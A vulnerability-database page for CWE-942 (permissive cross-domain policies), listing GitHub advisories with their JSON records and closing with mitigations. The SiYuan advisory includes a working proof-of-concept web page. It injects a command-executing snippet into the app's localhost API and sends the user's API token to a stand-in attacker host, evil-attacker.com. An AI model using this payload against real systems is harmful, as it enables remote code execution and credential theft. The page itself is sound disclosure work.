CWE-942
AllowedPermissive Cross-domain Security Policy with Untrusted Domains
Abstraction: Variant · Status: Incomplete
The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.
224 vulnerabilities reference this CWE, most recent first.
GHSA-4765-J7W9-P387
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-15 15:30A malicious website could have learned the size of a cross-origin resource that supported Range requests. This vulnerability affects Thunderbird < 91.10, Firefox < 101, and Firefox ESR < 91.10.
{
"affected": [],
"aliases": [
"CVE-2022-31736"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "CRITICAL"
},
"details": "A malicious website could have learned the size of a cross-origin resource that supported Range requests. This vulnerability affects Thunderbird \u003c 91.10, Firefox \u003c 101, and Firefox ESR \u003c 91.10.",
"id": "GHSA-4765-j7w9-p387",
"modified": "2025-04-15T15:30:35Z",
"published": "2022-12-22T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31736"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1735923"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4946-85PR-FVXH
Vulnerability from github – Published: 2024-03-15 16:42 – Updated: 2024-03-15 16:42Impact
The vantage6 server has no restrictions on CORS settings. It should be possible for people to set the allowed origins of the server.
The impact is limited because v6 does not use session cookies
Patches
No
Workarounds
No
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.2"
},
"package": {
"ecosystem": "PyPI",
"name": "vantage6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23823"
],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-15T16:42:55Z",
"nvd_published_at": "2024-03-14T19:15:49Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe vantage6 server has no restrictions on CORS settings. It should be possible for people to set the allowed origins of the server. \n\nThe impact is limited because v6 does not use session cookies\n\n### Patches\nNo\n\n### Workarounds\nNo",
"id": "GHSA-4946-85pr-fvxh",
"modified": "2024-03-15T16:42:55Z",
"published": "2024-03-15T16:42:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vantage6/vantage6/security/advisories/GHSA-4946-85pr-fvxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23823"
},
{
"type": "WEB",
"url": "https://github.com/vantage6/vantage6/commit/70bb4e1d889230a841eb364d6c03accd7dd01a41"
},
{
"type": "PACKAGE",
"url": "https://github.com/vantage6/vantage6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "vantage6\u0027s CORS settings overly permissive"
}
GHSA-4CQ7-5C7C-CC5R
Vulnerability from github – Published: 2026-06-29 18:31 – Updated: 2026-06-29 18:31Papermark through 0.22.0 contains a cross-origin resource sharing (CORS) misconfiguration vulnerability that allows unauthenticated remote attackers to perform credentialed cross-origin requests by exploiting the TUS-based viewer upload endpoint reflecting arbitrary request Origins with Access-Control-Allow-Credentials set to true. Attackers can lure authenticated victims to malicious pages that silently issue credentialed cross-origin requests to upload arbitrary files into victim datarooms and read credentialed responses.
{
"affected": [],
"aliases": [
"CVE-2026-57957"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T18:16:41Z",
"severity": "LOW"
},
"details": "Papermark through 0.22.0 contains a cross-origin resource sharing (CORS) misconfiguration vulnerability that allows unauthenticated remote attackers to perform credentialed cross-origin requests by exploiting the TUS-based viewer upload endpoint reflecting arbitrary request Origins with Access-Control-Allow-Credentials set to true. Attackers can lure authenticated victims to malicious pages that silently issue credentialed cross-origin requests to upload arbitrary files into victim datarooms and read credentialed responses.",
"id": "GHSA-4cq7-5c7c-cc5r",
"modified": "2026-06-29T18:31:56Z",
"published": "2026-06-29T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57957"
},
{
"type": "WEB",
"url": "https://github.com/papermark/papermark/issues/2178"
},
{
"type": "WEB",
"url": "https://github.com/AstoKr/papermark/pull/1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/papermark-cors-misconfiguration-in-viewer-upload-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4XP6-HXC2-9436
Vulnerability from github – Published: 2026-09-08 03:31 – Updated: 2026-09-08 03:31A Permissive Cross-domain Security Policy with Untrusted Domains in Armoury Crate allows a remote user to obtain a local user's NTLM hash by convincing the user to visit a crafted web page that sends a request containing a UNC path to the application's local service endpoint.Refer to the ' Security Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.
{
"affected": [],
"aliases": [
"CVE-2026-12962"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T03:17:17Z",
"severity": "MODERATE"
},
"details": "A Permissive Cross-domain Security Policy with Untrusted Domains in Armoury Crate allows a remote user to obtain a local user\u0027s NTLM hash by convincing the user to visit a crafted web page that sends a request containing a UNC path to the application\u0027s local service endpoint.Refer to the \u0027\nSecurity Update for Armoury Crate App\u00a0\u0027 section on the ASUS Security Advisory for more information.",
"id": "GHSA-4xp6-hxc2-9436",
"modified": "2026-09-08T03:31:14Z",
"published": "2026-09-08T03:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12962"
},
{
"type": "WEB",
"url": "https://www.asus.com/security-advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4XQM-4P72-87H6
Vulnerability from github – Published: 2023-07-06 22:55 – Updated: 2023-07-06 22:55Impact
The Sentry API incorrectly returns the access-control-allow-credentials: true HTTP header if the Origin request header ends with the system.base-hostname option of Sentry installation. This only affects installations that have system.base-hostname option explicitly set, as it is empty by default.
Impact is limited since recent versions of major browsers have cross-site cookie blocking enabled by default. However, this flaw could allow other multi-step attacks.
Patches
The patch has been released in Sentry 23.6.2.
Workarounds
For Sentry SaaS customers, no action is needed.
For self-hosted Sentry installations that have system.base-hostname explicitly set, it is recommended to upgrade the installation to 23.6.2 or higher. There are no known workarounds.
References
Credits
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "sentry"
},
"ranges": [
{
"events": [
{
"introduced": "23.6.0"
},
{
"fixed": "23.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36829"
],
"database_specific": {
"cwe_ids": [
"CWE-697",
"CWE-863",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T22:55:44Z",
"nvd_published_at": "2023-07-06T23:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe Sentry API incorrectly returns the `access-control-allow-credentials: true` HTTP header if the `Origin` request header ends with the `system.base-hostname` option of Sentry installation. This only affects installations that have `system.base-hostname` option explicitly set, as it is empty by default.\n\nImpact is limited since recent versions of major browsers have cross-site cookie blocking enabled by default. However, this flaw could allow other multi-step attacks.\n\n### Patches\nThe patch has been released in [Sentry 23.6.2](https://github.com/getsentry/self-hosted/releases/tag/23.6.2).\n\n### Workarounds\n\nFor Sentry SaaS customers, no action is needed.\n\nFor self-hosted Sentry installations that have `system.base-hostname` explicitly set, it is recommended to upgrade the installation to 23.6.2 or higher. There are no known workarounds.\n\n### References\n- [getsentry/sentry PR #52276](https://github.com/getsentry/sentry/pull/52276)\n\n### Credits\n- [@andr0idp4r4n0id](https://twitter.com/andr0idp4r4n0id)",
"id": "GHSA-4xqm-4p72-87h6",
"modified": "2023-07-06T22:55:44Z",
"published": "2023-07-06T22:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry/security/advisories/GHSA-4xqm-4p72-87h6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36829"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry/pull/52276"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry/commit/19248fb9802c252665b802aeab02fdc65ed47dc9"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry/commit/ee44c6be35e5e464bc40637580f39867898acd8b"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/self-hosted/releases/tag/23.6.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/getsentry/sentry"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/sentry/PYSEC-2023-115.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sentry CORS misconfiguration"
}
GHSA-5FR5-2C3F-3FCR
Vulnerability from github – Published: 2026-06-19 00:31 – Updated: 2026-06-19 00:31PraisonAI before 1.5.128 contains a cross-origin agent execution vulnerability in the AGUI endpoint that allows remote attackers to trigger arbitrary agent execution. The POST /agui endpoint lacks authentication and hardcodes Access-Control-Allow-Origin: * headers, combined with Starlette's Content-Type-agnostic JSON parsing, enabling attackers to bypass CORS preflight checks via simple requests and exfiltrate sensitive agent responses including tool execution results and environment data.
{
"affected": [],
"aliases": [
"CVE-2026-56076"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-18T23:16:19Z",
"severity": "HIGH"
},
"details": "PraisonAI before 1.5.128 contains a cross-origin agent execution vulnerability in the AGUI endpoint that allows remote attackers to trigger arbitrary agent execution. The POST /agui endpoint lacks authentication and hardcodes Access-Control-Allow-Origin: * headers, combined with Starlette\u0027s Content-Type-agnostic JSON parsing, enabling attackers to bypass CORS preflight checks via simple requests and exfiltrate sensitive agent responses including tool execution results and environment data.",
"id": "GHSA-5fr5-2c3f-3fcr",
"modified": "2026-06-19T00:31:37Z",
"published": "2026-06-19T00:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x462-jjpc-q4q4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56076"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-cross-origin-agent-execution-via-hardcoded-wildcard-cors-and-missing-authentication-on-agui-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5QWW-R3F5-W3W9
Vulnerability from github – Published: 2023-02-01 15:30 – Updated: 2023-02-08 21:30Last Yard 22.09.8-1 is vulnerable to Cross-origin resource sharing (CORS).
{
"affected": [],
"aliases": [
"CVE-2022-47717"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T14:15:00Z",
"severity": "HIGH"
},
"details": "Last Yard 22.09.8-1 is vulnerable to Cross-origin resource sharing (CORS).",
"id": "GHSA-5qww-r3f5-w3w9",
"modified": "2023-02-08T21:30:19Z",
"published": "2023-02-01T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47717"
},
{
"type": "WEB",
"url": "https://github.com/l00neyhacker/CVE-2022-47717"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-62GP-CQPW-RGH4
Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2024-11-11 21:31In Gliffy Online an insecure configuration was discovered in versions before 4.14.0-6
{
"affected": [],
"aliases": [
"CVE-2024-10315"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-11T20:15:17Z",
"severity": "MODERATE"
},
"details": "In Gliffy Online an insecure configuration was discovered in versions before 4.14.0-6",
"id": "GHSA-62gp-cqpw-rgh4",
"modified": "2024-11-11T21:31:48Z",
"published": "2024-11-11T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10315"
},
{
"type": "WEB",
"url": "https://portal.perforce.com/s/detail/a91PA000001SZVJYA4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-68P4-J234-43MV
Vulnerability from github – Published: 2026-03-31 23:29 – Updated: 2026-04-06 16:40Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
Details
Vulnerable files:
- kernel/server/serve.go, lines 960-963 — CORS middleware
- kernel/api/snippet.go, lines 93-128 — snippet injection endpoint
Root cause: The CORS middleware unconditionally sets:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.
The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.
Attack chain:
1. User visits https://evil-attacker.com while SiYuan desktop is running
2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution
PoC
Malicious webpage (hosted on any domain):
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>
Verification steps:
- Start SiYuan desktop (or Docker with
SIYUAN_ACCESS_AUTH_CODEset) - Login to SiYuan in a browser to establish a session cookie
- In the same browser, navigate to the malicious page
- Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
-H "Content-Type: application/json" \
-b <session-cookie> \
-d '{"type":"all","enabled":2}'
Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.
Impact
- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- Affects all desktop users: SiYuan desktop runs on
127.0.0.1:6806by default. TheAccess-Control-Allow-Private-Network: trueheader explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34449"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:29:00Z",
"nvd_published_at": "2026-03-31T22:16:19Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron\u0027s Node.js context with full OS access the next time the user opens SiYuan\u0027s UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 \u2014 CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 \u2014 snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome\u0027s Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` \u2014 SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user\u0027s session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron\u0027s renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eInnocent looking page\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch(\u0027http://127.0.0.1:6806/api/snippet/setSnippet\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({\n snippets: [{\n id: \u0027exploit-\u0027 + Date.now(),\n name: \u0027system-update\u0027,\n type: \u0027js\u0027,\n content: \u0027require(\"child_process\").exec(\"id \u003e /tmp/siyuan-rce-proof\")\u0027,\n enabled: true\n }]\n })\n}).then(r =\u003e r.json()).then(d =\u003e {\n console.log(\u0027Snippet injected:\u0027, d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}\n}).then(r =\u003e r.json()).then(d =\u003e {\n // Send API token and config to attacker server\n fetch(\u0027https://evil-attacker.com/collect\u0027, {\n method: \u0027POST\u0027,\n body: JSON.stringify(d.data)\n });\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n -H \"Content-Type: application/json\" \\\n -b \u003csession-cookie\u003e \\\n -d \u0027{\"type\":\"all\",\"enabled\":2}\u0027\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated \u2014 all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user\u0027s machine via Electron\u0027s Node.js integration. The attacker gains full control with the user\u0027s privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome\u0027s Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
"id": "GHSA-68p4-j234-43mv",
"modified": "2026-04-06T16:40:06Z",
"published": "2026-03-31T23:29:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34449"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/17246"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection"
}
GHSA-69G7-VM8M-997R
Vulnerability from github – Published: 2026-08-28 21:31 – Updated: 2026-08-28 21:31HeyForm before 3.0.0-rc.8 reflects the request Origin header in CORS responses while allowing credentials, enabling cross-origin requests with authentication. Attackers can execute authenticated GraphQL queries from malicious pages visited by logged-in users to access workspaces, projects, forms, submissions, and respondent data, or modify account settings.
{
"affected": [],
"aliases": [
"CVE-2026-82291"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T20:20:20Z",
"severity": "HIGH"
},
"details": "HeyForm before 3.0.0-rc.8 reflects the request Origin header in CORS responses while allowing credentials, enabling cross-origin requests with authentication. Attackers can execute authenticated GraphQL queries from malicious pages visited by logged-in users to access workspaces, projects, forms, submissions, and respondent data, or modify account settings.",
"id": "GHSA-69g7-vm8m-997r",
"modified": "2026-08-28T21:31:28Z",
"published": "2026-08-28T21:31:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/heyform/heyform/security/advisories/GHSA-fg7j-rmgr-rc9g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82291"
},
{
"type": "WEB",
"url": "https://github.com/heyform/heyform/commit/bf9d738ca70ae5641c0c7372982b00365c5144d4"
},
{
"type": "WEB",
"url": "https://github.com/heyform/heyform"
},
{
"type": "WEB",
"url": "https://github.com/heyform/heyform/blob/v3.0.0-rc.7/packages/server/src/main.ts"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/heyform-reflects-any-origin-in-cors-responses-while-allowing-credentials"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Attack Surface Reduction
Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.
Mitigation
Strategy: Attack Surface Reduction
Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.
Mitigation
Strategy: Environment Hardening
For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.
No CAPEC attack patterns related to this CWE.